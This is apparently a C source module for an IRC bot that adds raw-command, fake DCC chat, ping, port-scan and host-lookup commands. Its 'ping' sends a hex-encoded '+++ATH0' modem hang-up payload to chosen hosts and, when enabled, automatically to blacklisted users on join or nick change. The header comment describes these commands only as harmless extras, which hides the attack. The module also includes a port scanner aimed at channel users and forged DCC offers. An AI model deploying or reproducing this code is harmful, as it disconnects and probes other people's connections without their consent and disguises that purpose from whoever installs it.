/*

  This module adds some not-too-useful commands... !raw, !dccchat (NOT a real
DCC Chat implementation), !ping, !scan and !host. Try them if you want to.

  By default, when a shitlisted nick is kick/banned, some pings aren't sent to
its host. Use this to turn that on:

set extra_akickping 1

*/

#include "mbot.h"

#define SOURCE s->script.source
#define DEST s->script.dest
#define BUF s->script.buf
#define SEND_TEXT s->script.send_text

#define LEVEL_RAW 10
#define LEVEL_DCCCHAT 10
#define LEVEL_PING 10
#define LEVEL_SCAN 10
#define LEVEL_HOST 7

struct extra_type {
  CNetServer *server;
  bool akickping;
  extra_type *next;
};
struct extra_type *extra_list;

///////////////
// prototypes
///////////////

static void extra_cmd_raw (CNetServer *);
static void extra_cmd_dccchat (CNetServer *);
static void extra_cmd_ping (CNetServer *);
static void extra_cmd_scan (CNetServer *);
static void extra_cmd_host (CNetServer *);
static void extra_add (CNetServer *);
static extra_type *server2extra (CNetServer *);
#ifdef PING_PATH
static void extra_pinghost (c_char);
static void extra_event (CNetServer *);
#endif
static void extra_conf (CNetServer *, c_char);
static void extra_stop (CModule *);
static void extra_var (CNetServer *, c_char, char *, size_t);

/////////////
// commands
/////////////

// !raw command
static void
extra_cmd_raw (CNetServer *s)
{
  strsplit (CMD[3], BUF, 1);
  if (BUF[1][0] == 0)
    {
      SEND_TEXT (DEST, "usage: !raw command");
      return;
    }
  if (strlen (BUF[1]) > 6) 
    for (size_t i = 0; i < strlen (BUF[1]) - 7; i++)
      if (strncasecmp (BUF[1]+i, NICKSERV, 8) == 0)
        {
          SEND_TEXT (DEST, "NickServ access denied.");
          return;
        }
  *s << BUF[1] << endl;
}

// !dccchat nick host port
static void
extra_cmd_dccchat (CNetServer *s)
{
  strsplit (CMD[3], BUF, 4);
  if (BUF[3][0] != 0)
    {
      SEND_TEXT (DEST, "usage: !dccchat nick host port");
      return;
    }
#ifndef HAVE_STRUCT_IP
  char addrbuf[12];
  struct ip ipe;
  struct hostent *addr = gethostbyname (BUF[2]);
  if (addr == NULL)
    {
      ipe.ip_dst.s_addr = inet_addr (BUF[2]);
      if (ipe.ip_dst.s_addr == (u_long) -1)
        {
          SEND_TEXT (DEST, "Cannot resolve host.");
          return;
        }
    }
  else
    memcpy (&ipe.ip_dst.s_addr, addr->h_addr_list[0], addr->h_length);
  itoa (ntohl (ipe.ip_dst.s_addr), addrbuf);
  SEND_TEXT (BUF[1], "DCC CHAT chat %s %s", addrbuf, BUF[3]);
#else	// not HAVE_STRUCT_IP
  SEND_TEXT (DEST, "Command not available in this system.");
#endif
}

// !ping nick | host
static void
extra_cmd_ping (CNetServer *s)
{
  strsplit (CMD[3], BUF, 2);
  if (BUF[1][0] == 0)
    {
      SEND_TEXT (DEST, "usage: !ping nick | host");
      return;
    }
#ifdef PING_PATH
  int i2;
  for (int i = 0; i < s->channel_num; i++)	// search in channels
    {
      i2 = CHANNELS[i]->user_index (BUF[1]);
      if (i2 != -1)
        {
          mask2host (CHANNELS[i]->users[i2]->mask, BUF[3]);
          extra_pinghost (BUF[3]);
          SEND_TEXT (DEST, "Ping sent to nick %s.", BUF[3]);
          return;
        }
    }
  extra_pinghost (BUF[1]);
  SEND_TEXT (DEST, "Ping sent to host %s.", BUF[1]);
#else
  SEND_TEXT (DEST, "Ping command not available.");
#endif
}

// !scan nick port
static void
extra_cmd_scan (CNetServer *s)
{
  strsplit (CMD[3], BUF, 3);
  if (BUF[2][0] == 0)
    {
      SEND_TEXT (DEST, "usage: !scan nick port");
      return;
    }
  int i2;
  for (int i = 0; i < s->channel_num; i++)	// search in channels
    {
      i2 = CHANNELS[i]->user_index (BUF[1]);
      if (i2 != -1)
        {
          mask2host (CHANNELS[i]->users[i2]->mask, BUF[4]);
          CNet net (bot);
          if (net.resolvehost (BUF[4])
              && net.create_tcp (atoi (BUF[2]), 1)
              && net.openhost ())
            SEND_TEXT (DEST, "Port open.");
          else
            SEND_TEXT (DEST, "Port closed or host unreachable.");
          return;
        }
    }
  SEND_TEXT (DEST, "Can't find that nick.");
}

// !host nick
static void
extra_cmd_host (CNetServer *s)
{
  strsplit (CMD[3], BUF, 2);
  if (BUF[1][0] == 0)
    {
      SEND_TEXT (DEST, "usage: !host nick");
      return;
    }
  int i2;
  for (int i = 0; i<s->channel_num; i++)	// search in channels
    {
      i2 = CHANNELS[i]->user_index (BUF[1]);
      if (i2 != -1)
        {
          mask2host (CHANNELS[i]->users[i2]->mask, BUF[2]);
          SEND_TEXT (DEST, "%s's host is %s.", BUF[1], BUF[2]);
          return;
        }
    }
  SEND_TEXT (DEST, "Can't find that nick.");
}

////////////////////
// module managing
////////////////////

// add a ctcp to the list
static void
extra_add (CNetServer *s)
{
  extra_type *buf = extra_list;
  extra_list = new extra_type;
  extra_list->server = s;
  extra_list->akickping = 0;
  extra_list->next = buf;
}

// returns the extra for a given server, NULL if nonexistant
static extra_type *
server2extra (CNetServer *s)
{
  extra_type *buf = extra_list;
  while (buf != NULL)
    {
      if (buf->server == s)
        return buf;
      buf = buf->next;
    }
  return NULL;
}

#ifdef PING_PATH

static void
extra_pinghost (c_char host)
{
  pid_t pid = fork ();
  switch (pid)
    {
      case -1:
        return;
      case 0:
        close (1);
        close (2);
        execl (PING_PATH, "mbot", "-p", "2b2b2b415448300d", "-c", "3", host, NULL);
        exit (0);
    }
  waitpid (pid, NULL, 0);
}

// look for shitlisteds in join and nick events
static void
extra_event (CNetServer *s)
{
  extra_type *buf = server2extra (s);
  if (buf != NULL)
    if (buf->akickping)
      {
        if (strcmp (CMD[1], "JOIN") == 0)
          {
            // shitlist
            if ((USERS == NULL ? 0 : USERS->match_mask_level (CMD[0])) < 0)
              {
                mask2host (CMD[0], BUF[0]);
                extra_pinghost (BUF[0]);
              }
          }
        else if (strcmp (CMD[1], "NICK") == 0)
          {
            // make new mask
            mask2user (CMD[0], BUF[0]);
            mask2host (CMD[0], BUF[1]);
            snprintf (BUF[2], MSG_SIZE, "%s!%s@%s", CMD[2], BUF[0], BUF[1]);
            // shitlist
            if ((USERS == NULL ? 0 : USERS->match_mask_level (BUF[2])) < 0)
              extra_pinghost (BUF[1]);
          }
      }
}

#endif	// PING_PATH

// configuration file's local parser
static void
extra_conf (CNetServer *s, c_char bufread)
{
  char buf[2][MSG_SIZE+1];

  strsplit (bufread, buf, 1);

  // add these commands in each new server
  if (strcasecmp (buf[0], "bot") == 0)
    {
      if (server2extra (s) == NULL)
        {
          extra_add (s);
#ifdef PING_PATH
          s->script.events.add ((void *)extra_event);
#endif
          s->script.bind_cmd (extra_cmd_raw, LEVEL_RAW, "!raw");
          s->script.bind_cmd (extra_cmd_dccchat, LEVEL_DCCCHAT, "!dccchat");
          s->script.bind_cmd (extra_cmd_ping, LEVEL_PING, "!ping");
          s->script.bind_cmd (extra_cmd_scan, LEVEL_SCAN, "!scan");
          s->script.bind_cmd (extra_cmd_host, LEVEL_HOST, "!host");
          s->vars.var_add ("extra_akickping", extra_var);
        }
    }
}

// module termination
static void
extra_stop (CModule *m)
{
  extra_type *buf = extra_list, *buf2;
  while (buf != NULL)
    {
      buf2 = buf->next;
      delete buf;
      buf = buf2;
    }
  // try to remove from all servers, even if it's not there (we don't know)
  for (int i=0; i<m->b->server_num; i++)
    {
#ifdef PING_PATH
      m->b->servers[i]->script.events.del ((void *)extra_event);
#endif
      m->b->servers[i]->script.unbind_cmd ("!raw");
      m->b->servers[i]->script.unbind_cmd ("!dccchat");
      m->b->servers[i]->script.unbind_cmd ("!ping");
      m->b->servers[i]->script.unbind_cmd ("!scan");
      m->b->servers[i]->script.unbind_cmd ("!host");
      m->b->servers[i]->vars.var_del ("extra_akickping");
    }
}

static void
extra_var (CNetServer *s, c_char name, char *data, size_t n)
{
  extra_type *buf = server2extra (s);
  if (buf == NULL)
    return;
  if (strcasecmp (name, "extra_akickping") == 0)
    {
      if (n != 0)
        itoa (buf->akickping, data, n);
      else
        buf->akickping = (atoi (data) != 0);
    }
}

struct CModule::module_type module = {
  MODULE_VERSION,
  "extra",
  NULL,
  extra_stop,
  extra_conf,
  extra_var
};
